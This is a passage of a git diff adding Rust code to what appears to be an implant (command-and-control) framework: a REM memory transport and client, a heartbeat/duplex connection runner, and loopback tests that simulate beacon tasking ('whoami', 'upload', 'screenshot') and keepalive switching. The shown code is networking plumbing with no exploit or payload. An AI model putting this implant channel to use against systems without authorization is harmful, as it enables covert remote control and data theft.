Poll::Ready(Some(Ok(data))) => { + debug!("[rem] poll_read received {} bytes from channel", data.len()); + let to_copy = data.len().min(buf.len()); + buf[..to_copy].copy_from_slice(&data[..to_copy]); + if to_copy < data.len() { + self.buffer = data; + self.buffer_pos = to_copy; + } + Poll::Ready(Ok(to_copy)) + } + Poll::Ready(Some(Err(e))) => { + debug!( + "[rem] Read error from channel for handle {}: {}", + self.handle, e + ); + Poll::Ready(Err(io::Error::new(io::ErrorKind::Other, e))) + } + Poll::Ready(None) => { + // Channel closed — read thread exited. + debug!("[rem] Channel closed for handle {}", self.handle); + Poll::Ready(Ok(0)) + } + Poll::Pending => Poll::Pending, + } + } +} + +impl AsyncWrite for REMTransport { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + let had_pending = self.write_future.is_some(); + match self.as_mut().poll_pending_write(cx) { + Poll::Ready(Ok(n)) if had_pending => return Poll::Ready(Ok(n)), + Poll::Ready(Ok(_)) => {} + Poll::Ready(Err(e)) => return Poll::Ready(Err(e)), + Poll::Pending => return Poll::Pending, + } + + if buf.is_empty() { + return Poll::Ready(Ok(0)); + } + + let handle = self.handle; + let data = buf.to_vec(); + let completed = Arc::new(AtomicBool::new(false)); + let completed_inner = completed.clone(); + + let fut = spawn_blocking(move || { + let result = rem::memory_write(handle, &data); + completed_inner.store(true, Ordering::Release); + result + }); + + let guard = WriteGuard { + handle, + completed, + transport_closed: self.closed.clone(), + }; + let wrapped = async move { + let _guard = guard; // dropped when future completes or is abandoned + #[cfg(feature = "tokio")] + { + // tokio: outer Result from JoinHandle + fut.await.map_err(|e| format!("Thread pool error: {}", e))? + } + #[cfg(not(feature = "tokio"))] + { + // async-std/smol: no outer Result, return directly + fut.await + } + }; + self.write_future = Some(Box::pin(wrapped)); + self.poll_pending_write(cx) + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + match self.as_mut().poll_pending_write(cx) { + Poll::Ready(Ok(_)) => Poll::Ready(Ok(())), + Poll::Ready(Err(e)) => Poll::Ready(Err(e)), + Poll::Pending => Poll::Pending, + } + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + match self.as_mut().poll_pending_write(cx) { + Poll::Ready(Ok(_)) => {} + Poll::Ready(Err(e)) => return Poll::Ready(Err(e)), + Poll::Pending => return Poll::Pending, + } + self.poll_close_impl(cx) + } +} + +impl Drop for REMTransport { + fn drop(&mut self) { + if !self.closed.swap(true, Ordering::AcqRel) { + let handle = self.handle; + debug!("[rem] Drop: closing handle {} asynchronously", handle); + // Never block the executor — close on a dedicated thread. + // This also interrupts the read thread's blocked FFI call and + // any pending spawn_blocking(MemoryWrite) on the same handle. + std::thread::spawn(move || { + let _ = rem::memory_close(handle); + }); + } + } +} + +fn connect_timeout_for_config(config: &ServerConfig) -> Duration { + config.session_config.connect_timeout +} + +// ======================================================================== +// REMClient +// ======================================================================== + +#[derive(Clone)] +pub struct REMClient { + pub agent_id: String, + cmdline: String, + stale: bool, +} + +impl REMClient { + pub fn new() -> Result { + Self::new_with_alias(None) + } + + pub fn new_with_alias(alias: Option<&str>) -> Result { + let first_rem_config = SERVER_CONFIGS + .iter() + .find_map(|config| { + if let TransportConfig::Rem(rem_config) = &config.transport_config { + Some(rem_config) + } else { + None + } + }) + .ok_or_else(|| anyhow::anyhow!("No REM configuration found"))?; + + let mut cmdline = first_rem_config.link.clone(); + if let Some(a) = alias { + cmdline = format!("{} -a {}", cmdline, a); + } + if cfg!(debug_assertions) { + cmdline = cmdline + " --debug"; + } + debug!("[rem] REM cmdline: {}", cmdline); + + match rem::rem_dial(&cmdline) { + Ok(agent_id) => { + debug!("[rem] Successfully initialized REM, agent_id: {}", agent_id); + Ok(REMClient { + agent_id, + cmdline, + stale: false, + }) + } + Err(e) => Err(anyhow::anyhow!("REM initialization failed: {}", e)), + } + } + + fn reinitialize(&mut self) -> Result<()> { + debug!("[rem] Cleaning up dead agent..."); + rem::cleanup(); + + debug!("[rem] Reinitializing REM with cmdline: {}", self.cmdline); + match rem::rem_dial(&self.cmdline) { + Ok(agent_id) => { + debug!("[rem] REM reinitialized, new agent_id: {}", agent_id); + self.agent_id = agent_id; + self.stale = false; + Ok(()) + } + Err(e) => Err(anyhow::anyhow!("REM reinitialization failed: {}", e)), + } + } + + fn dial_with_retry(&mut self, config: &ServerConfig) -> Result { + let address = config.address.as_str(); + let rem_config = match &config.transport_config { + TransportConfig::Rem(rem_config) => rem_config, + _ => return Err(anyhow::anyhow!("REM dial requested for non-REM target")), + }; + if !self.stale { + debug!("[rem] Dialing memory address: {:?}", address); + match rem::memory_dial("memory", address) { + Ok(handle) => { + debug!("[rem] Dialed memory, handle: {}", handle); + return Ok(REMTransport::new(handle, rem_config)); + } + Err(e) => { + debug!("[rem] Memory dial failed: {}, will reinitialize...", e); + } + } + } + + match self.reinitialize() { + Ok(()) => {} + Err(e) => { + self.stale = true; + return Err(e); + } + } + + debug!("[rem] Retrying memory dial after reinit: {:?}", address); + match rem::memory_dial("memory", address) { + Ok(handle) => { + debug!("[rem] Dialed memory after reinit, handle: {}", handle); + Ok(REMTransport::new(handle, rem_config)) + } + Err(e) => { + self.stale = true; + Err(anyhow::anyhow!("Memory dial failed after reinit: {}", e)) + } + } + } +} + +#[async_trait] +impl DialerExt for REMClient { + async fn connect(&mut self, target: &crate::server_manager::Target) -> Result { + let config = target.server_config().clone(); + let connect_timeout = connect_timeout_for_config(&config); + let mut client = self.clone(); + + let dial_future = spawn_blocking(move || { + let transport = client.dial_with_retry(&config)?; + Ok::<(REMTransport, REMClient), anyhow::Error>((transport, client)) + }) + .fuse(); + + let timeout = Delay::new(connect_timeout).fuse(); + futures::pin_mut!(dial_future, timeout); + + let result: Result<(REMTransport, REMClient), anyhow::Error> = futures::select! { + r = dial_future => { + #[cfg(feature = "tokio")] + { + // tokio: outer Result from JoinHandle, inner Result from dial + r.map_err(|e| anyhow::anyhow!("spawn_blocking join error: {}", e))? + } + #[cfg(not(feature = "tokio"))] + { + // async-std/smol: r is already the inner Result (Result<(..., ...), _>) + r + } + }, + _ = timeout => Err(anyhow::anyhow!( + "connect timed out after {:?}", connect_timeout + )), + }; + + let (transport, updated_client) = result?; + self.agent_id = updated_client.agent_id; + self.stale = updated_client.stale; + Ok(transport) + } +} diff --git a/malefic-crates/transport/src/runner.rs b/malefic-crates/transport/src/runner.rs new file mode 100644 index 0000000..c4d0f1f --- /dev/null +++ b/malefic-crates/transport/src/runner.rs @@ -0,0 +1,1067 @@ +use futures::channel::mpsc; +use futures::FutureExt; +use futures::SinkExt; +use malefic_common::debug; +use malefic_proto::proto::implantpb::Spites; + +use crate::{Connection, ConnectionReader, ConnectionWriter, TransportError}; +use malefic_common::{spawn, Handle}; + +enum ConnectionMode { + Heartbeat, + Duplex { + read_rx: mpsc::UnboundedReceiver>, + read_handle: Handle, + stop_tx: Option>, + }, +} + +pub struct ConnectionRunner { + reader: Option, + writer: ConnectionWriter, + mode: ConnectionMode, +} + +impl ConnectionRunner { + pub fn new(connection: Connection) -> Self { + let (reader, writer) = connection.split(); + Self { + reader: Some(reader), + writer, + mode: ConnectionMode::Heartbeat, + } + } + + pub fn new_from_split(reader: ConnectionReader, writer: ConnectionWriter) -> Self { + Self { + reader: Some(reader), + writer, + mode: ConnectionMode::Heartbeat, + } + } + + pub fn new_duplex(connection: Connection) -> Result { + let mut runner = Self::new(connection); + runner.upgrade()?; + Ok(runner) + } + + pub async fn send(&mut self, spites: Spites) -> Result<(), TransportError> { + self.writer.send(spites).await + } + + /// Receive one frame in heartbeat mode. + /// + /// Returns `Ok(None)` on idle no-data timeout. If a partial frame times out, + /// returns `Err(TransportError::Deadline)` and the current frame is discarded. + pub async fn receive(&mut self) -> Result, TransportError> { + let reader = self + .reader + .as_mut() + .ok_or_else(|| TransportError::ConnectFailed("Reader not available".to_string()))?; + + reader.poll().await + } + + pub fn try_receive(&mut self) -> Result, TransportError> { + match &mut self.mode { + ConnectionMode::Duplex { read_rx, .. } => match read_rx.try_next() { + Ok(Some(Ok(spites))) => Ok(Some(spites)), + Ok(Some(Err(e))) => Err(e), + Ok(None) => Err(TransportError::ConnectFailed( + "Read channel closed".to_string(), + )), + Err(_) => Ok(None), + }, + ConnectionMode::Heartbeat => Err(TransportError::ConnectFailed( + "try_receive only available in Duplex mode".to_string(), + )), + } + } + + pub fn upgrade(&mut self) -> Result<(), TransportError> { + debug!("[runner] Upgrading to Duplex mode"); + let mut reader = self + .reader + .take() + .ok_or_else(|| TransportError::ConnectFailed("Reader already taken".to_string()))?; + + let (mut read_tx, read_rx) = mpsc::unbounded(); + let (stop_tx, mut stop_rx) = futures::channel::oneshot::channel::<()>(); + let read_handle = spawn(async move { + loop { + let recv = reader.poll(); + futures::pin_mut!(recv); + let mut stop = (&mut stop_rx).fuse(); + futures::select! { + result = recv.fuse() => { + match result { + Ok(Some(spites)) => { + if read_tx.send(Ok(spites)).await.is_err() { + debug!("[runner] Read channel closed, stopping"); + break; + } + } + Ok(None) => { + continue; + } + Err(e) => { + debug!("[runner] Read error: {:?}", e); + let _ = read_tx.send(Err(e)).await; + break; + } + } + } + _ = stop => { + debug!("[runner] Stop signal received"); + break; + } + } + } + debug!("[runner] Read coroutine stopped"); + reader + }); + + self.mode = ConnectionMode::Duplex { + read_rx, + read_handle, + stop_tx: Some(stop_tx), + }; + Ok(()) + } + + pub async fn downgrade(&mut self) -> Result<(), TransportError> { + debug!("[runner] Downgrading to Heartbeat mode"); + let old_mode = std::mem::replace(&mut self.mode, ConnectionMode::Heartbeat); + if let ConnectionMode::Duplex { + read_handle, + stop_tx, + .. + } = old_mode + { + if let Some(tx) = stop_tx { + let _ = tx.send(()); + } + let reader = malefic_common::join_handle(read_handle) + .await + .map_err(|e| { + TransportError::ConnectFailed(format!("Failed to join read task: {}", e)) + })?; + self.reader = Some(reader); + } + Ok(()) + } +} + +/// # Transport & Keepalive Tests +/// +/// Test design: +/// 1. Transport layer — heartbeat/duplex basic operations +/// 2. Mode switching — upgrade/downgrade with data integrity +/// 3. Keepalive scenarios — application-level protocol (beacon.rs/stub.rs) +/// 4. Performance — throughput & latency measurement +/// +/// All tests use real TCP loopback connections, no mocks. +/// Run with: `cargo test -p malefic-transport --features tokio` +#[cfg(all(test, feature = "tcp", feature = "tokio"))] +mod keepalive_tests { + use std::time::{Duration, Instant}; + + use async_net::{TcpListener, TcpStream}; + use malefic_crypto::crypto::new_cryptor; + use malefic_proto::proto::implantpb::spite::Body; + use malefic_proto::proto::modulepb; + use malefic_proto::{new_empty_spite, new_spite, Spites}; + + use crate::tcp::TCPTransport; + use crate::{ConnectionBuilder, ConnectionRunner, SessionConfig, TransportError}; + + // ==================================================================== + // Helpers + // ==================================================================== + + async fn create_tcp_pair() -> (TcpStream, TcpStream) { + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = listener.local_addr().unwrap(); + let client = TcpStream::connect(addr).await.unwrap(); + let (server, _) = listener.accept().await.unwrap(); + (client, server) + } + + fn make_cryptor() -> malefic_crypto::crypto::Cryptor { + new_cryptor(vec![0x42; 32], vec![0xAB; 16]) + } + + fn make_config() -> SessionConfig { + SessionConfig { + read_chunk_size: 8192, + deadline: Duration::from_millis(500), + } + } + + async fn create_runner_pair() -> (ConnectionRunner, ConnectionRunner) { + let (client_stream, server_stream) = create_tcp_pair().await; + let session_id = [1, 2, 3, 4]; + + let client_conn = ConnectionBuilder::new(TCPTransport::new_plain(client_stream)) + .with_cryptor(make_cryptor()) + .with_session_id(session_id) + .with_config(make_config()) + .build() + .unwrap(); + + let server_conn = ConnectionBuilder::new(TCPTransport::new_plain(server_stream)) + .with_cryptor(make_cryptor()) + .with_session_id(session_id) + .with_config(make_config()) + .build() + .unwrap(); + + ( + ConnectionRunner::new(client_conn), + ConnectionRunner::new(server_conn), + ) + } + + fn make_spites(task_id: u32, name: &str) -> Spites { + Spites { + spites: vec![new_empty_spite(task_id, name.to_string())], + } + } + + fn make_sized_spites(task_id: u32, payload_size: usize) -> Spites { + Spites { + spites: vec![new_empty_spite(task_id, "X".repeat(payload_size))], + } + } + + fn wire_bytes(spites: &Spites) -> usize { + malefic_proto::marshal([1, 2, 3, 4], spites.clone(), None) + .unwrap() + .pack() + .len() + } + + fn make_ping(task_id: u32) -> Spites { + Spites { + spites: vec![new_spite( + task_id, + "ping".to_string(), + Body::Ping(modulepb::Ping { + nonce: task_id as i32, + }), + )], + } + } + + fn make_task_cmd(task_id: u32, name: &str) -> Spites { + Spites { + spites: vec![new_spite( + task_id, + name.to_string(), + Body::Empty(malefic_proto::proto::implantpb::Empty::default()), + )], + } + } + + fn make_keepalive_cmd(task_id: u32, enable: bool) -> Spites { + Spites { + spites: vec![new_spite( + task_id, + "keepalive".to_string(), + Body::Common(modulepb::CommonBody { + bool_array: vec![enable], + ..Default::default() + }), + )], + } + } + + /// Parse keepalive command from received Spites (mirrors stub.rs logic). + fn parse_keepalive(spites: &Spites) -> Option { + for spite in &spites.spites { + if spite.name == "keepalive" { + if let Some(Body::Common(common)) = &spite.body { + return Some(common.bool_array.first().copied().unwrap_or(false)); + } + return Some(false); + } + } + None + } + + /// Poll try_receive with timeout (for duplex mode). + async fn poll_try_receive( + runner: &mut ConnectionRunner, + timeout: Duration, + ) -> Result, crate::TransportError> { + let deadline = std::time::Instant::now() + timeout; + loop { + match runner.try_receive() { + Ok(Some(s)) => return Ok(Some(s)), + Ok(None) if std::time::Instant::now() >= deadline => return Ok(None), + Ok(None) => malefic_common::sleep(Duration::from_millis(1)).await, + Err(e) => return Err(e), + } + } + } + + // ==================================================================== + // 1. Transport layer — heartbeat & duplex basic operations + // ==================================================================== + + /// Heartbeat mode: bidirectional exchange and read timeout. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_heartbeat_exchange() { + let (mut client, mut server) = create_runner_pair().await; + + // Bidirectional send/receive + for i in 0u32..3 { + client + .send(make_spites(i, &format!("req_{}", i))) + .await + .unwrap(); + let r = server.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, i); + + server + .send(make_spites(i + 100, &format!("resp_{}", i))) + .await + .unwrap(); + let r = client.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, i + 100); + } + + // Read timeout with no data → Ok(None) + let r = client.receive().await.unwrap(); + assert!(r.is_none(), "no data should return None on idle timeout"); + } + + /// Mode boundary: wrong API in wrong mode, double upgrade. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_mode_boundary_enforcement() { + let (mut client, _server) = create_runner_pair().await; + + // try_receive fails in heartbeat mode + assert!(client.try_receive().is_err()); + + // Upgrade to duplex + client.upgrade().unwrap(); + + // receive() fails in duplex mode (reader taken) + assert!(client.receive().await.is_err()); + + // Double upgrade fails + assert!(client.upgrade().is_err()); + } + + /// Duplex mode: try_receive (empty + data), send, message ordering. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_duplex_exchange() { + let (mut client, mut server) = create_runner_pair().await; + client.upgrade().unwrap(); + + // No data → Ok(None) + assert!(matches!(client.try_receive(), Ok(None))); + + // Client can still send in duplex mode + client.send(make_spites(1, "out")).await.unwrap(); + let r = server.receive().await.unwrap().unwrap(); + assert_eq!(r.spites[0].name, "out"); + + // Server sends multiple messages → client receives in order + for i in 0u32..5 { + server + .send(make_spites(i, &format!("msg_{}", i))) + .await + .unwrap(); + } + tokio::time::sleep(Duration::from_millis(100)).await; + for i in 0u32..5 { + let r = client.try_receive().unwrap().unwrap(); + assert_eq!(r.spites[0].task_id, i); + } + } + + /// Idle duplex periods should not kill the background task. Data arriving + /// later must still be delivered. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_duplex_survives_idle_timeout() { + let (mut client, mut server) = create_runner_pair().await; + client.upgrade().unwrap(); + + // Idle 3x session deadline (1500ms > 500ms) — task must survive. + tokio::time::sleep(Duration::from_millis(1500)).await; + assert!( + matches!(client.try_receive(), Ok(None)), + "idle duplex should stay alive across multiple idle timeouts" + ); + + // Data sent after idle period should still arrive. + server.send(make_spites(1, "late")).await.unwrap(); + tokio::time::sleep(Duration::from_millis(100)).await; + let r = client.try_receive().unwrap().unwrap(); + assert_eq!(r.spites[0].name, "late"); + } + + /// Heartbeat receive timeout with partial frame (1 byte received then blocked). + /// Verifies timeout completes correctly even when frame is incomplete. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_heartbeat_timeout_partial_frame() { + use async_net::{TcpListener, TcpStream}; + use futures::AsyncWriteExt; + + // Listen on random port + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = listener.local_addr().unwrap(); + + // Accept connection but only send 1 byte then stall forever + tokio::spawn(async move { + let (mut stream, _) = listener.accept().await.unwrap(); + // Send only 1 byte — not enough for a full header (header needs 10 bytes) + stream.write_all(&[0x42]).await.unwrap(); + // Flush and stall — never close, never send more + stream.flush().await.unwrap(); + futures::future::pending::<()>().await; + }); + + // Connect client + let stream = TcpStream::connect(addr).await.unwrap(); + let session_id = [1, 2, 3, 4]; + let conn = ConnectionBuilder::new(TCPTransport::new_plain(stream)) + .with_cryptor(make_cryptor()) + .with_session_id(session_id) + .with_config(SessionConfig { + read_chunk_size: 8192, + deadline: Duration::from_millis(500), // short deadline for test + }) + .build() + .unwrap(); + let mut client = ConnectionRunner::new(conn); + + // receive() should return Err(Deadline) within ~500ms, not hang forever + let start = Instant::now(); + let r = client.receive().await; + let elapsed = start.elapsed(); + + assert!(matches!(r, Err(TransportError::Deadline))); + assert!( + elapsed < Duration::from_millis(1500), + "timeout should fire reasonably quickly" + ); + } + + /// Exchange deadline when server never responds. + /// Verifies the connection-level deadline bounds the initial request/response round trip. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_exchange_deadline_no_response() { + use async_net::{TcpListener, TcpStream}; + + // Listen but never send any response after accept + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = listener.local_addr().unwrap(); + + tokio::spawn(async move { + let (_stream, _) = listener.accept().await.unwrap(); + // Just accept, never send anything + futures::future::pending::<()>().await; + }); + + // Connect and do an exchange + let stream = TcpStream::connect(addr).await.unwrap(); + let session_id = [1, 2, 3, 4]; + let conn = ConnectionBuilder::new(TCPTransport::new_plain(stream)) + .with_cryptor(make_cryptor()) + .with_session_id(session_id) + .with_config(SessionConfig { + read_chunk_size: 8192, + deadline: Duration::from_millis(500), + }) + .build() + .unwrap(); + + let start = Instant::now(); + let r = conn.exchange(make_spites(1, "hello")).await; + let elapsed = start.elapsed(); + + // Should get Deadline error within ~500ms + assert!(matches!(r, Err(crate::TransportError::Deadline))); + assert!(elapsed < Duration::from_millis(1500)); + } + + /// Send-only register path should not require any response from the server. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_send_only_does_not_require_response() { + use async_net::{TcpListener, TcpStream}; + + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = listener.local_addr().unwrap(); + + tokio::spawn(async move { + let (_stream, _) = listener.accept().await.unwrap(); + futures::future::pending::<()>().await; + }); + + let stream = TcpStream::connect(addr).await.unwrap(); + let session_id = [1, 2, 3, 4]; + let conn = ConnectionBuilder::new(TCPTransport::new_plain(stream)) + .with_cryptor(make_cryptor()) + .with_session_id(session_id) + .with_config(SessionConfig { + read_chunk_size: 8192, + deadline: Duration::from_millis(500), + }) + .build() + .unwrap(); + + let start = Instant::now(); + let r = conn.send_only(make_spites(1, "register")).await; + let elapsed = start.elapsed(); + + assert!( + r.is_ok(), + "send-only register should succeed without response" + ); + assert!( + elapsed < Duration::from_millis(500), + "send-only register should not wait for a response" + ); + } + + // ==================================================================== + // 2. Mode switching — upgrade/downgrade with data integrity + // ==================================================================== + + /// Full heartbeat → duplex → heartbeat cycle. + /// Verifies data integrity and AES-CTR counter sync across transitions. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_upgrade_downgrade_data_integrity() { + let (mut client, mut server) = create_runner_pair().await; + + // Phase 1: Heartbeat + client.send(make_spites(1, "hb1")).await.unwrap(); + assert_eq!( + server.receive().await.unwrap().unwrap().spites[0].name, + "hb1" + ); + server.send(make_spites(2, "hb1_r")).await.unwrap(); + assert_eq!( + client.receive().await.unwrap().unwrap().spites[0].name, + "hb1_r" + ); + + // Phase 2: Duplex — bidirectional + client.upgrade().unwrap(); + client.send(make_spites(3, "dup_out")).await.unwrap(); + assert_eq!( + server.receive().await.unwrap().unwrap().spites[0].name, + "dup_out" + ); + server.send(make_spites(4, "dup_in")).await.unwrap(); + tokio::time::sleep(Duration::from_millis(50)).await; + assert_eq!( + client.try_receive().unwrap().unwrap().spites[0].name, + "dup_in" + ); + + // Phase 3: Back to heartbeat — cryptor still in sync + client.downgrade().await.unwrap(); + client.send(make_spites(5, "hb2")).await.unwrap(); + assert_eq!( + server.receive().await.unwrap().unwrap().spites[0].name, + "hb2" + ); + server.send(make_spites(6, "hb2_r")).await.unwrap(); + assert_eq!( + client.receive().await.unwrap().unwrap().spites[0].name, + "hb2_r" + ); + } + + // ==================================================================== + // 3. Keepalive scenarios — application-level protocol + // ==================================================================== + + /// Non-keepalive: pure heartbeat loop, server never sends KeepAlive cmd. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_scenario_heartbeat_only() { + let (mut client, mut server) = create_runner_pair().await; + let mut keepalive_enabled = false; + + // Simulate beacon.rs heartbeat loop with task responses + let tasks = ["ls", "pwd", "whoami"]; + for (i, task) in tasks.iter().enumerate() { + let tid = i as u32; + client.send(make_ping(tid)).await.unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + server.send(make_task_cmd(tid, task)).await.unwrap(); + + let resp = client.receive().await.unwrap().unwrap(); + assert_eq!(resp.spites[0].name, *task); + if let Some(en) = parse_keepalive(&resp) { + keepalive_enabled = en; + } + } + + assert!(!keepalive_enabled, "should never enter keepalive"); + assert!( + client.try_receive().is_err(), + "should stay in heartbeat mode" + ); + } + + /// Full keepalive lifecycle (mirrors beacon.rs + stub.rs): + /// heartbeat → KeepAlive(true) → upgrade → duplex exchange + /// → KeepAlive(false) → downgrade → resume heartbeat + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_scenario_keepalive_lifecycle() { + let (mut client, mut server) = create_runner_pair().await; + let mut keepalive_enabled = false; + + // Heartbeat phase + client.send(make_ping(0)).await.unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + server.send(make_ping(100)).await.unwrap(); + let _ = client.receive().await.unwrap().unwrap(); + + // Server enables keepalive + client.send(make_ping(1)).await.unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + server.send(make_keepalive_cmd(1, true)).await.unwrap(); + let resp = client.receive().await.unwrap().unwrap(); + if let Some(en) = parse_keepalive(&resp) { + keepalive_enabled = en; + } + assert!(keepalive_enabled); + + // Upgrade to duplex + client.upgrade().unwrap(); + + // Duplex exchange: server pushes tasks, client responds + for i in 0u32..5 { + server.send(make_task_cmd(10 + i, "exec")).await.unwrap(); + } + for _ in 0..5 { + let r = poll_try_receive(&mut client, Duration::from_secs(2)) + .await + .unwrap() + .unwrap(); + assert_eq!(r.spites[0].name, "exec"); + client + .send(make_spites(r.spites[0].task_id, "result")) + .await + .unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + } + + // Client sends periodic heartbeat during duplex + client.send(make_ping(99)).await.unwrap(); + assert_eq!( + server.receive().await.unwrap().unwrap().spites[0].name, + "ping" + ); + + // Server disables keepalive + server.send(make_keepalive_cmd(20, false)).await.unwrap(); + let r = poll_try_receive(&mut client, Duration::from_secs(2)) + .await + .unwrap() + .unwrap(); + if let Some(en) = parse_keepalive(&r) { + keepalive_enabled = en; + } + assert!(!keepalive_enabled); + + // Downgrade and resume heartbeat + client.downgrade().await.unwrap(); + client.send(make_ping(30)).await.unwrap(); + assert_eq!( + server.receive().await.unwrap().unwrap().spites[0].task_id, + 30 + ); + server.send(make_ping(130)).await.unwrap(); + assert_eq!( + client.receive().await.unwrap().unwrap().spites[0].task_id, + 130 + ); + } + + /// Edge case: enable keepalive then immediately disable before any + /// duplex exchange. Tests graceful handling of zero-length duplex phase. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_scenario_keepalive_rapid_toggle() { + let (mut client, mut server) = create_runner_pair().await; + let mut keepalive_enabled = false; + + // Enable + client.send(make_ping(0)).await.unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + server.send(make_keepalive_cmd(0, true)).await.unwrap(); + let resp = client.receive().await.unwrap().unwrap(); + if let Some(en) = parse_keepalive(&resp) { + keepalive_enabled = en; + } + assert!(keepalive_enabled); + client.upgrade().unwrap(); + + // Immediately disable — no duplex exchange happened + server.send(make_keepalive_cmd(1, false)).await.unwrap(); + let r = poll_try_receive(&mut client, Duration::from_secs(2)) + .await + .unwrap() + .unwrap(); + if let Some(en) = parse_keepalive(&r) { + keepalive_enabled = en; + } + assert!(!keepalive_enabled); + + // Downgrade and verify heartbeat + client.downgrade().await.unwrap(); + client.send(make_ping(2)).await.unwrap(); + assert_eq!( + server.receive().await.unwrap().unwrap().spites[0].task_id, + 2 + ); + server.send(make_ping(3)).await.unwrap(); + assert_eq!( + client.receive().await.unwrap().unwrap().spites[0].task_id, + 3 + ); + } + + /// Keepalive disable arrives mixed in task stream. Verifies: + /// - Message ordering preserved + /// - Disable command identified among regular tasks + /// - Tasks after disable still delivered + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_scenario_keepalive_disable_among_tasks() { + let (mut client, mut server) = create_runner_pair().await; + let mut keepalive_enabled = false; + + // Enable keepalive + upgrade + client.send(make_ping(0)).await.unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + server.send(make_keepalive_cmd(0, true)).await.unwrap(); + let resp = client.receive().await.unwrap().unwrap(); + if let Some(en) = parse_keepalive(&resp) { + keepalive_enabled = en; + } + assert!(keepalive_enabled); + client.upgrade().unwrap(); + + // Server sends: task, task, keepalive_disable, task + server.send(make_task_cmd(1, "upload")).await.unwrap(); + server.send(make_task_cmd(2, "download")).await.unwrap(); + server.send(make_keepalive_cmd(3, false)).await.unwrap(); + server.send(make_task_cmd(4, "screenshot")).await.unwrap(); + + // Client receives all 4 in order + let mut tasks = Vec::new(); + let mut disable_after_n_tasks = 0; + for _ in 0..4 { + let r = poll_try_receive(&mut client, Duration::from_secs(5)) + .await + .unwrap() + .unwrap(); + if let Some(en) = parse_keepalive(&r) { + keepalive_enabled = en; + disable_after_n_tasks = tasks.len(); + } else { + tasks.push(r.spites[0].name.clone()); + } + } + + assert!(!keepalive_enabled); + assert_eq!(disable_after_n_tasks, 2, "disable arrived after 2 tasks"); + assert_eq!(tasks, vec!["upload", "download", "screenshot"]); + + client.downgrade().await.unwrap(); + } + + // ==================================================================== + // 4. Performance — throughput & latency + // ==================================================================== + + /// Combined throughput test: heartbeat and duplex modes with varying + /// payload sizes. Measures pkt/s and KB/s for each combination. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_perf_throughput() { + let payloads: &[(usize, u32, &str)] = &[ + (26, 200, "small"), // ~26B wire (name="ping") + (1024, 200, "1KB"), + (8192, 100, "8KB"), + ]; + + // --- Heartbeat mode --- + for &(payload_size, count, label) in payloads { + let (mut client, mut server) = create_runner_pair().await; + let msg = make_sized_spites(0, payload_size); + let bpm = wire_bytes(&msg); + + let start = tokio::time::Instant::now(); + for i in 0..count { + client + .send(make_sized_spites(i, payload_size)) + .await + .unwrap(); + let _ = server.receive().await.unwrap().unwrap(); + } + let elapsed = start.elapsed(); + let pps = count as f64 / elapsed.as_secs_f64(); + let kbps = (bpm * count as usize) as f64 / elapsed.as_secs_f64() / 1024.0; + println!( + "[perf] heartbeat {}: {:.0} pkt/s, {:.1} KB/s ({}B/msg)", + label, pps, kbps, bpm + ); + assert!(elapsed.as_secs() < 30); + } + + // --- Duplex mode --- + for &(payload_size, count, label) in payloads { + let (mut client, mut server) = create_runner_pair().await; + client.upgrade().unwrap(); + let msg = make_sized_spites(0, payload_size); + let bpm = wire_bytes(&msg); + + let start = tokio::time::Instant::now(); + for i in 0..count { + server + .send(make_sized_spites(i, payload_size)) + .await + .unwrap(); + } + let mut received = 0u32; + let deadline = start + Duration::from_secs(30); + while received < count { + assert!(tokio::time::Instant::now() < deadline, "timed out"); + match client.try_receive() { + Ok(Some(_)) => received += 1, + Ok(None) => tokio::time::sleep(Duration::from_millis(1)).await, + Err(e) => panic!("error: {:?}", e), + } + } + let elapsed = start.elapsed(); + let pps = count as f64 / elapsed.as_secs_f64(); + let kbps = (bpm * count as usize) as f64 / elapsed.as_secs_f64() / 1024.0; + println!( + "[perf] duplex {}: {:.0} pkt/s, {:.1} KB/s ({}B/msg)", + label, pps, kbps, bpm + ); + assert!(elapsed.as_secs() < 30); + } + } + + /// Mode switch latency: measures upgrade + downgrade round-trip cost. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_perf_mode_switch_latency() { + let (mut client, _server) = create_runner_pair().await; + let cycles = 10u32; + + let start = tokio::time::Instant::now(); + for _ in 0..cycles { + client.upgrade().unwrap(); + client.downgrade().await.unwrap(); + } + let elapsed = start.elapsed(); + let avg_ms = elapsed.as_millis() as f64 / cycles as f64; + println!( + "[perf] mode switch: {} cycles, avg {:.1}ms/cycle", + cycles, avg_ms + ); + assert!(elapsed.as_secs() < 15); + } + + // ==================================================================== + // 5. Additional coverage — concurrency, disconnects, large payloads + // ==================================================================== + + /// Duplex concurrent send/receive: 50 messages each direction simultaneously. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn test_duplex_concurrent_send_receive() { + let (mut client, 